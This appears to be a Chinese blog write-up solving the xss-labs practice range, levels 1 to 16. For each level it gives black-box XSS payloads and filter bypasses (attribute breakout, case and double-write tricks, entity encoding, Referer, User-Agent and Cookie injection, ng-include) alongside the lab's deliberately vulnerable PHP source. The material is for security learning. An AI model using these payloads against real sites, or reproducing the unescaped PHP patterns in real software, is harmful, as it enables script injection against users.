以黑盒与白盒的角度分析和通关xss-labs(XSS漏洞类型与总结)

目录

目录

前言

XSS漏洞的总结和梳理

1.第一关(基础palyload)

黑盒测试

白盒测试

2.第二关(闭合)

黑盒测试

白盒测试

3.第三关(字符转义)

黑盒测试

白盒测试

4.第四关(字符过滤或替换)

黑盒测试

白盒测试

5.第五关(关键词替换)

黑盒测试

白盒测试

6.第六关(关键词替换)

黑盒测试

白盒测试

第七关(关键词替换)

黑盒测试

白盒测试

8.第八关(herf隐藏属性)

黑盒测试

白盒测试

9.第九关(指定字符过滤)

白盒测试

10.第十关(属性修改)

黑盒测试

白盒测试

11.第十一关(referer注入)

黑盒测试

白盒测试

12.第十二关(UA注入)

黑盒测试

白盒测试

13.第十三关(cookie注入)

黑盒测试

白盒测试

14.第十四关(图片属性弹窗)

白盒测试

15.第十五关(外部文件加载)

黑盒测试

白盒测试

16.第十六关(字符实体替换)

黑盒测试

白盒测试

17-20关


前言

        本靶场我是以黑盒测试过了一遍后,然后通过白盒测试分析代码,并将代码的解析放到了对应的通关下面的,原因就是平常懒的打靶场,个人比较喜欢实战测试,本次以黑+白的测试方式,既对自己的渗透测试xss进行了梳理,也对自己学习了代码审计后对php代码的分析和审计能力做了一个检验.

开局一个死鱼眼,通关全靠弹

XSS漏洞的总结和梳理

                下面是我对XSS漏洞的一个总结与梳理,需要的师傅可自行下载和改进

1.第一关(基础palyload)

黑盒测试

        注意不要被下面的palyload的长度误导,刚开始我以为是只能输入四个字符,观察后发现是参数的字符数目

初始的url: http://127.0.0.1/xss-labs-master/level1.php?name=test

将后面改为1后访问,F12网络查看响应包,发现内容在h1标签中

http://127.0.0.1/xss-labs-master/level1.php?name=1

直接在url处用常用的palyload直接通关

<script>alert(1)</script>

白盒测试

        观察一下这关的代码,获得name参数的值,然后打印获取参数的值和长度,这里是直接echo出输入的数据,并且没有进行任何过滤和转义的

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

2.第二关(闭合)

黑盒测试

直接上来搜索框改为1方便观察,但然也可以不改,然后进行查看,观察返回的源代码

这里发现输出结果还是在h2标签中,但是值1在value中并且因为是在表单中,闭合方式以"进行闭合的,那么OK了,直接在搜索框下面输入下面的任意一个palyload,通关

"><script>alert(1)</script>
x" onclick=alert(1) //

白盒测试

        观察代码,接受name为keyword的内容,其中发现echo部分使用了htmlspecialchars()函数对输出的str数据进行了转义,直接输入"><script>alert(1)</script>会出现下面的情况,但是并没有对表单的value的值进行转义,通过构造闭合方式的表单也会出现xss漏洞

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

3.第三关(字符转义)

黑盒测试

这关发现还是表单,但是直接连test也没有了,还是老样子1,尝试一下

这样观察不出来什么,还是先盲打palyload测试一下

//ok发现输出转义了
<script>alert(1)</script>  

 

那尝试一下闭合表单呢,value处或是输入参数也做了转义,那就OK了

"><script>alert(1)</script>

 

        知道转义了,尝试输入' " <>"&,发现只有单引号没有被过滤同时确定闭合方式为单引号,ok了知道没有被过滤的字符以及闭合方式了,并且根据靶场为php后端开发,猜测可能就是用的默认的htmlspecialchars来做的后端过滤,这个后面分析源代码的时候可以验证

直接尝试掏出我祖传绕过秘笈,打入palyload,然后单击输入框,ok通关了

x'onclick=alert(1)// +单击搜索框
'onclick='alert(1)+单击搜索框

白盒测试

        分析一下源代码,接受name为keyword的内容,其中发现echo部分以及value部分使用了htmlspecialchars()函数对输出的str数据进行了转义,并且value部分的闭合方式为单引号

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>    
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

既然进行绕过了,那就具体分析一下htmlspecialchars()这个函数吧

        首先根据上面代码知道,不指定参数,那么为默认的,那么根据下面的显示很明显,只针对双引号做了转义,没有对单引号做转义,OK了

可用的引号类型:

  • ENT_COMPAT - 默认。仅编码双引号。

  • ENT_QUOTES - 编码双引号和单引号。

  • ENT_NOQUOTES - 不编码任何引号。

<?php
$str = "Bill & 'Steve'";
echo htmlspecialchars($str, ENT_COMPAT); // 只转换双引号
echo "<br>";
echo htmlspecialchars($str, ENT_QUOTES);// 转换双引号和单引号
echo "<br>";
echo htmlspecialchars($str, ENT_NOQUOTES); // 不转换任何引号
?>
<!DOCTYPE html>
<html>
<body>
Bill &amp; 'Steve'<br>
Bill &amp; &#039;Steve&#039;<br>
Bill &amp; 'Steve'
</body>
</html>

直接使用使用单引号构造的palyload

x'onclick=alert(1)// + 单击搜索框
'onclick='alert(1)+单击搜索框

4.第四关(字符过滤或替换)

黑盒测试

还是老样子先输入一个1观察一下,然后开始从基础的palyload开始尝试

先输入一个基础palyload尝试看一下回显,很明显h2部分的输出部分进行了转义,发现返回的value没了<>,value处进行了只过滤了符号

<script>alert(1)</script>

 

打一波' " <>& 符号,查看闭合方式以及被过滤的字符,如下图所示,发现了闭合方式为"

那这里也就简单了,只需要使用不含<>的palyload就可以了,还是使用上一关的palyload,只是闭合方式改为了"

x"onclick=alert(1)// + 单击搜索框

白盒测试

        分析一下源代码,可以看到还是和上面的分析的查不多,还是echo输出部分通过htmlspecialchars()函数进行了转义,vlaue部分输出的值通过str_replace()函数将<>进行置换为空后并输出其他内容,并且闭合方式为双引号

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

5.第五关(关键词替换)

黑盒测试

先打一波符号测试一下' " <>&,发现字符都没有过滤,闭合方式为">

尝试打一个基础的以及前面使用的palyload,发现如下图所示,给value部分的scr和ipt前后加了一个_,上面部分还是进行了转义,发现为o_nclick 观察这两个发现过滤都是关键词,那么尝试使用其他的标签看是否存在别的标签没有被过滤或是尝试大小写绕过

<script>alert(1)</script>
x"onclick=alert(1)//

 

因为html对大小写不敏感,可以先尝试是否存在大小写绕过,发现还是被替换了,说明对输入的字符做了大小写转换,换下一种思路

"><Script>alert(1)</script>

        在尝试不同的标签后,发现fuzz标签后只有前面的那两个关键词被加了_,下面,是尝试的可以进行弹窗的palyload,其中第一个可以出现弹窗,但是不会提示过关,原因嘛猜测跟<iframe>标签本身有关,第二个超链接的形式可以成功过关

"><iframe src=javascript:alert('1');></iframe>  这个有弹窗,但是不会提示过关

 

"><a href="javascript:alert(`1`);">xss</a>  + 点击蓝色的xss

白盒测试

        分析一波代码,果然和前面的黑盒测试发现的结果一致,转义的就不说了,首先使用了strtolower()函数将输入的字符串转为小写,并且其中使用了str_replace()函数将"<script"置换为"<scr_ipt" ,将"on"置换为"o_n"后将其他的内容输出,通过使用不存在这两个关键词的标签进行弹窗就可以了

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

6.第六关(关键词替换)

黑盒测试

先打一波符号测试一下' " <>&,发现字符都没有过滤,闭合方式为">

尝试打上一关测试的palyload,发现还是给value部分的scr和ipt前后加了一个_,上面部分还是进行了转义,发现为o_nclick 发现还是它两

"><script>alert(1)</script>
x"onclick=alert(1)//

        尝试超链接的palyload,发现果然,也把这个加入了,加了个_,但是还有一个特性不要忘记,因为html中对大小写不敏感

"<a href="javascript:alert(`1`);">xss</a>

 

尝试大小写伪造绕过,通关

"><a Href="javascript:alert(`1`);">xss</a>
"><Script>alert(1)</script>

白盒测试

        分析一下代码发现对很多关键词进行了替换,但是没有对输入的字符做大小写转换,这就验证了前面做黑盒测试的时候和第五关不同的原因了,直接大小写绕过即可

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

第七关(关键词替换)

黑盒测试

还是老样子先打一波符号测试一下' " <>&,发现字符都没有过滤,闭合方式为">

接下来继续打基础的palyload进行尝试,发现如图所示script没了,那么应该和上关一样进行了替换,只是这里替换为了空

"><script>alert(1)</script>

尝试一下大小写绕过,不可以,看来做了大小写转换

"><Script>alert(1)</script>

        既然替换为空,那么尝试双写绕过,我第一次尝试使用的palyload,结果发现返回的信息,当时还有点懵逼,根据返回的ipt突然反应过来了,说明双写绕过是可以的,但是不巧的是,其中有将src这个关键词也替换为空的,尴尬了,但是没事,这不还是有另一个老标签可以使用的,这个这么碰巧,另一个不可能在有了吧

"><scr<script>ipt>alert(1)</script>

 

尝试另一个标签,通关

x"oonnclick=alert(1)//

白盒测试

        分析代码,首先和黑盒测试过程中发现的结果一致,果然做了大小写转换,并且确实对src这个进行了替换,不然第一个palyload是绝对可以的,如代码所示,都只进行了一次替换,那么双写绕过拿下.

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

8.第八关(herf隐藏属性)

黑盒测试

        还是老样子先打一波符号测试一下' " <>&,发现字符都没有过滤,闭合方式为">,同时我们知道,在添加后我们需要进行点击,这里获取到的信息为,是在herf这个属性中

 

因为我确实在实战中目前没有碰到过这种情况,因此就只能使用老方法进行fuzz了,尝试进行闭合,发现被替换,尝试大小写,发现存在大小写转换,情况都如下图所示

"><script>alert(1)</script>
"><Script>alert(1)</script>

 

尝试双写绕过发现失败,并且发现把双引号也给替换为&quot了

"><scr<script>ipt>alert(1)</script>
x"oonnclick=alert(1)//

        到这里前面的所有技巧用光了,但是还有一种就是实战中常用的编码操作,但是一般我自己在实战中,直接进行盲打的,这里就结合js以及搜索知道了href有个隐藏属性自动Unicode解码,ok了进行编码

这里我利用的插件进行的编码,至于怎么判段打过ctf,熟悉这个编码了

javascript:alert() //下面是将这行伪协议编码的内容
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

白盒测试

        分析一下代码,首先先是大小写转换,果然和黑盒测试的一致,然后就是关键词的替换,到这里正常是我们基本没办法了,但是因为href的隐藏属性自动Unicode解码,并且转码后也不会被替换,因此可以绕过了

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?phpecho '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

9.第九关(指定字符过滤)

白盒测试

        本关直接点击连接会出现下面的情况,ok看到这里我其实已经懵逼了,为什么因为无法判断和知道到底是什么不合法,之前也没遇到过,也不黑盒了直接看源码分析

        还是过滤了很多,包含大小写转换,关键词替换,多了使用一个strpos()函数,查看一下这个函数的详情strpos() 函数查找字符串在另一字符串中第一次出现的位置,strpos() 函数对大小写敏感。

说白了就是看输入的连接里面包含http://这个不,不包含就会出现提示不合法的文字

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

直接输入下面的,然后进行添加连接,发现确实没有出现不合法的文字,,但是为了不影响我们的弹窗,我们可以将http://放到注释中就可以了

http://

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;//http://

10.第十关(属性修改)

黑盒测试

        直接查看页面,发现并没有可以输入信息的地方,查看源代码,发现一个表单,使用了type属性里的hidden属性对三个输入框进行了隐藏

        这里我们可以通过改hidden为text将框显示出来,但是我们没有提交按钮,这里我尝试給不同的两个输入框输入数据,最后一个改为submit,最终发现只有name="t_sort"这个输入框的数据回显了,说明这个是后端接受数据的回显位

尝试基础palyload,发现<>被替换为空了,尝试使用不含<>的palyload

"><script>alert(1)</script>

这里先把第一个标签的type改为submit,然后将第三个标签的type改为text输入palyload,进行提交后页面会刷新一次,再将第三个的type改为text,然后点击输入框,发现成功过关

x"onclick=alert(1)// + 单击输入框

白盒测试

        分析代码,发现首先没有经过大小写转换,并且确实是第三个标签接受数据和返回数据,将<>替换为空,因为无法尝试大小写绕过了,但是没有对一些js的关键词进行替换,因此可以通过多种方式进行绕过

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

11.第十一关(referer注入)

黑盒测试

这关还是和上关一样,没有任何输入的地方,查看源代码,果然和上关一样

        本来继续尝试回显位以及有没有过滤或是关键词被替换之类的,找回显位就是改其他位置为按钮submit,把其他改为text进行测试,看返回页面的内容,但是在查看源代码时候发现了第四个标签中,出现了的上一关的url链接和信息,这里如果经常实战的师傅一看就知道是怎么来的了,并且单词的缩写也提示了就是referer,说明这里的值是根据referer传入的,那么可以通过burp抓包添加referer或是插件都可以,先用符号测试一波,如下图所示,用HackBar验证确实是referer进行传参,知道了<>被过滤了,并且闭合为"

 < > " '&

 

        既然过滤了<>,那可以使用的palyload也就考虑没有<>的了,构造palyload,先打一波,看是否存在关键词替换,发现并替换,OK了把type的hidden改为text,点击输入框就通关了

x"onclick=alert(1)//

白盒测试

        分析一下源码,其他的都不用,中点看可以弹窗的部分,其中使用了$_SERVER['HTTP_REFERER']作用是可以获取当前链接的上一个连接的来源地址,最初作用是用来防止盗链的,到这里用做了获取referer的值,并且在value输出处,没有进行转义,只是对输入的值进行了<>替换为空,用onclick就可以绕过了

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

12.第十二关(UA注入)

黑盒测试

        还是没有输入框,那么查看一下源代码吧,还是hidden隐藏了输入框,只不过最后一个,根据值以及前面的缩写,知道了这是ua头吧,有了上一关的经验,那么直接用palyload打一下

将userAgent改为下面的palyload,然后将type的值改为text

x"onclick=alert(1)//

发现palyload确实和上一关一样没有进行关键词替换,ok点击输入框通关 

白盒测试

        分析提下一下代码,和上关基本一致,只是获取到的数据为User_agent $_SERVER['HTTP_USER_AGENT']获取user_agent的值,然后将<>替换为空,最后没有转义的输出,通过onclick就可绕过

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

13.第十三关(cookie注入)

黑盒测试

        老样子页面还是没有输入框,查看源代码发,发现这次没有什么明显的传值了,但是多了一个cook的东西,猜测可能是cookie注入

通小饼干插件查看,发现存在一个user,并且值和其中的value值对的上,ok解决了

直接打入和之前相同的palyload,然后更改type的hidden为text,然后单击输入框通关

x"onclick=alert(1)//

白盒测试

        分析一下源代码,发现和之前相似的两关,除了设置了一个cookie作为传值外,其他的没什么区别,设置由cookie传值,然后将<>替换为空,没有将关键词替换以及最后没有进行转义将其输出,造成漏洞

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

14.第十四关(图片属性弹窗)

白盒测试

        发现这关出来问题,最后只能直接看代码了,发现并没有任何的交互,因为出现了iframe这个标签,自己作为开发的一份子,对这个标签也是有一定的了解的,iframe标签的作用就是将一个别的页面引入到此页面中,但是访问下面的页面,发现已经没了,于是只能搜了一下本关的解法,ok具体可以看一下这个师傅写的文章xss-labs靶场-第十四关 iframe和exif xss漏洞 - FreeBuf网络安全行业门户,其实本关就是利用了实战中的弹窗的另一种方式而已,利用图片属性进行弹窗

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

15.第十五关(外部文件加载)

黑盒测试

本关还是没有输入框之类的信息,老样子直接查看源代码,发现除了这个注释没有什么别的有用的信息,直接百度这个信息

可以保护外部的html文件,必须在同一个域名下

注意点:

ng-include,如果单纯指定地址,必须要加引号。

ng-include,加载外部html,script标签中的内容不执行,不能加载,如果需要控制器处理需要在主页中注册。

ng-include,加载外部html中含有style标签样式可以识别。

ng-inclue,记载外部html中的link标签可以加载。

知道可以包含之前的文件,接下来我就尝试包含之前关卡的文件,最终发现尝试第一关并让第一关弹窗,根据前面的注意点,我们知道不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能的,这里我们使用img标签,构造payload,在URL处输入

?src='level1.php?name=<img src=1 onerror=alert(1)>'

白盒测试

分析源代码,以get方式在url中获取src属性的值然后以转义的形式将其输出,具体没有什么交互,本关引起漏洞的原因不在后端

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

16.第十六关(字符实体替换)

黑盒测试

        本关还是没有输入框之类的信息,但是注意存在一个test,观察url后发现,url处存在一个keyword=test ,那么开始测试,先测试符号,发现过滤

 < > ' " & /

打一个基础palyload看看情况,发现script被替换为空字符实体

<script>alert('1')</script>

        确定符号以及script都不能使用了,并且也不是属性的位置那么onclick相关的palyload也无法使用了,那么只能使用不包含这些palyload,看看我的绕过标签中还有这个符号

既然空格被过滤,但是我们是在url中传入的,可以通过编码进行绕过通过%0a这个空格的url编码进行替换空格代替空格进行绕过通关

<img%0asrc=1%0aonerror=alert(1)>

白盒测试

        分析一下源代码和测试,通过get请求获取的值进行转为小写,首先都转为小写,大小写绕过无法实现了,其次对符合以及script关键词进行实体替换,最后进行输出,但是没有对其他的关键词进行限制,并且最后输出时也没有进行转义,因此可以通过%0a的url编码绕过了空格转为实体,通过其他标签绕过script的限制.

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

17-20关

        其他关卡都是基于flash实现的,在实战中很少会遇到这么老的系统了,总结起来就是利用难度大,危害低,并且实现起来也比较复杂了,这里就不进行测试了,如果想进一步了解的师傅可以看其他师傅的文章进行复现和学习

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/867387.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

el-table实现固定列,及解决固定列导致部分滚动条无法拖动的问题

一、el-table实现固定列 当数据量动态变化时&#xff0c;可以为 Table 设置一个最大高度。 通过设置max-height属性为 Table 指定最大高度。此时若表格所需的高度大于最大高度&#xff0c;则会显示一个滚动条。 <div class"zn-filter-table"><!-- 表格--…

AI对于高考和IT行业的深远影响

目录 AI对IT行业的冲击及深远影响1. 工作自动化2. 新的就业机会3. 行业融合4. 技术升级和创新5. 数据的重要性 IT行业的冬天要持续多久&#xff1f;大学的软件开发类专业是否还值得报考&#xff1f;其他问题IT行业是否都是加班严重&#xff1f;35岁后就业困难是否普遍现象&…

基于TCP的在线词典系统(分阶段实现)

1.功能说明 一共四个功能&#xff1a; 注册 登录 查询单词 查询历史记录 单词和解释保存在文件中&#xff0c;单词和解释只占一行, 一行最多300个字节&#xff0c;单词和解释之间至少有一个空格。 2.功能演示 3、分阶段完成各个功能 3.1 完成服务器和客户端的连接 servic…

springcloud-alibba之FeignClient

代码地址&#xff1a;springcloud系列: springcloud 组件分析拆解 1.FeignClient的集成 springboot版本&#xff1a;3.1.5 springcloud组件版本&#xff1a;2022.0.4 nacos客户端的版本&#xff1a;2.3.2 1.引pom 这里引入了nacos和feginclient的版本 <dependency>…

【MySQL】事务四大特性以及实现原理

事务四大特性 原子性&#xff08;Atomicity&#xff09; 事务中的所有操作要么全部完成&#xff0c;要么全部不执行。如果事务中的任何一步失败&#xff0c;整个事务都会被回滚&#xff0c;以保持数据的完整性。 一致性&#xff08;Consistency&#xff09; 事务应确保数据库…

机器学习——决策树及其可视化

1、决策树概念 顾名思义&#xff0c;决策树是利用数据结构中树结构来进行判断&#xff0c;每一个结点相当于一个判断条件&#xff0c;叶子结点即是最终的类别。以鸢尾花为例&#xff0c;可以得到如下的决策树&#xff1a; 2、决策树分类的依据是什么&#xff1f; 根据前面分…

跨越语言的界限:Vue I18n 国际化指南

前言 &#x1f4eb; 大家好&#xff0c;我是南木元元&#xff0c;热爱技术和分享&#xff0c;欢迎大家交流&#xff0c;一起学习进步&#xff01; &#x1f345; 个人主页&#xff1a;南木元元 目录 国际化简介 vue-i18n 安装和配置 创建语言包 基本使用 切换语言 动态翻…

CTFShow的RE题(二)

逆向5 附件无后缀&#xff0c;查一下是zip&#xff0c;解压得到一个exe一个dll文件。 往下继续看 但也根进去看看 发现是在加载的dll文件 还有一个返回时调用的函数 发现是打印函数 根据以往的经验应该是要跳转到这里&#xff0c;动调一下。 发现exe链接了dll&#xff0c;…

Lock4j简单的支持不同方案的高性能分布式锁实现及源码解析

文章目录 1.Lock4j是什么?1.1简介1.2项目地址1.3 我之前手写的分布式锁和限流的实现 2.特性3.如何使用3.1引入相关依赖3.2 配置redis或zookeeper3.3 使用方式3.3.1 注解式自动式3.3.2 手动式 4.源码解析4.1项目目录4.2实现思路 5.总结 1.Lock4j是什么? 1.1简介 lock4j是苞米…

昇思第6天

函数式自动微分 神经网络的训练主要使用反向传播算法&#xff0c;模型预测值&#xff08;logits&#xff09;与正确标签&#xff08;label&#xff09;送入损失函数&#xff08;loss function&#xff09;获得loss&#xff0c;然后进行反向传播计算&#xff0c;求得梯度&#…

【算法专题】双指针算法

1. 移动零 题目分析 对于这类数组分块的问题&#xff0c;我们应该首先想到用双指针的思路来进行处理&#xff0c;因为数组可以通过下标进行访问&#xff0c;所以说我们不用真的定义指针&#xff0c;用下标即可。比如本题就要求将数组划分为零区域和非零区域&#xff0c;我们不…

时序分析基本概念介绍——SI/crosstalk/delta delay/noise/timing Window

文章目录 前言一、Crosstalk1. Crosstalk Delay Effects2. Crosstalk Noise Effects 二、Crosstalk Analysis1. Crosstalk Delay Analysis2. Crosstalk Noise Analysis 三、如何 fix delta delay 和 noise violations1. 检查delta delay 和 noisedelta delay checknoise check …

【C语言小知识】缓冲区

缓冲区 当我们使用printf()将数据显示在屏幕上&#xff0c;或者使用scanf()函数将数据输入到电脑里&#xff0c;我们是否会产生些许疑问&#xff1f;为何输入的字符会直接显示到屏幕上等等。这里需要介绍一个C语言中的一个关键概念——缓冲区。 当我们使用老式系统进行运行代码…

suricata7 rule加载(一)加载 action

suricata7.0.5 一、前提条件 1.1 关键字注册 main | --> SuricataMain|--> PostConfLoadedSetup|--> SigTableSetupsigmatch_table是一个全局数组&#xff0c;每个元素就是一个关键字节点&#xff0c;是对关键字如何处理等相关回调函数。非常重要的一个结构&#x…

PyCharm如何安装requirements.txt中的依赖包

问题&#xff1a;下载别人的源码&#xff0c;如何安装代码中requirement.txt中的依赖包。 解决方案&#xff1a; &#xff08;1&#xff09;打开PyCharm下面的Terminal&#xff0c;先为代码创建单独的虚拟环境并进入到虚拟环境中&#xff08;每个项目单独的环境&#xff0c;这…

GlusterFS分布式存储系统

GlusterFS分布式存储系统 一&#xff0c;分布式文件系统理论基础 1.1 分布式文件系统出现 计算机通过文件系统管理&#xff0c;存储数据&#xff0c;而现在数据信息爆炸的时代中人们可以获取的数据成指数倍的增长&#xff0c;单纯通过增加硬盘个数来扩展计算机文件系统的存储…

Docker搭建MySQL双主复制详细教程

在此之前需要提前安装好Docker和 Docker Compose 。 一、创建目录 首先创建一个本地数据挂载目录。 mkdir -p master1-data master2-data二、编写docker-compose.yml version: 3.7services:mysql-master1:image: mysql:5.7.36container_name: mysql-master1environment:MYSQL_…

VBA初学:零件成本统计之四(汇总计算)

第四步&#xff0c;最后进行汇总计算 汇总统计的计算 Sub count() Dim rng As Range Dim i As Long, j As Long Dim arr_s, arr, brr, crr, drr Dim rowscount As Long Dim X As Variant Dim rg As Single, xb As Single, zj As SingleMsgBox "汇总计算时间较久&#xff…

【HTML入门】第二课 - head标签下的常见标签们

目录 1 本节概要 2 head下的常见标签 2.1 网页编码设置 2.2 网页的标题 2.3 样式标签 3 head标签的内容不会显示到网页上 4 查看网页源代码 1 本节概要 上一节&#xff0c;我们说了HTML网页最基本的框架标签&#xff0c;说到标签分为head头部和body身体部分。这一小节呢…

Windows Server 2016 搭建 网络负载平衡 服务

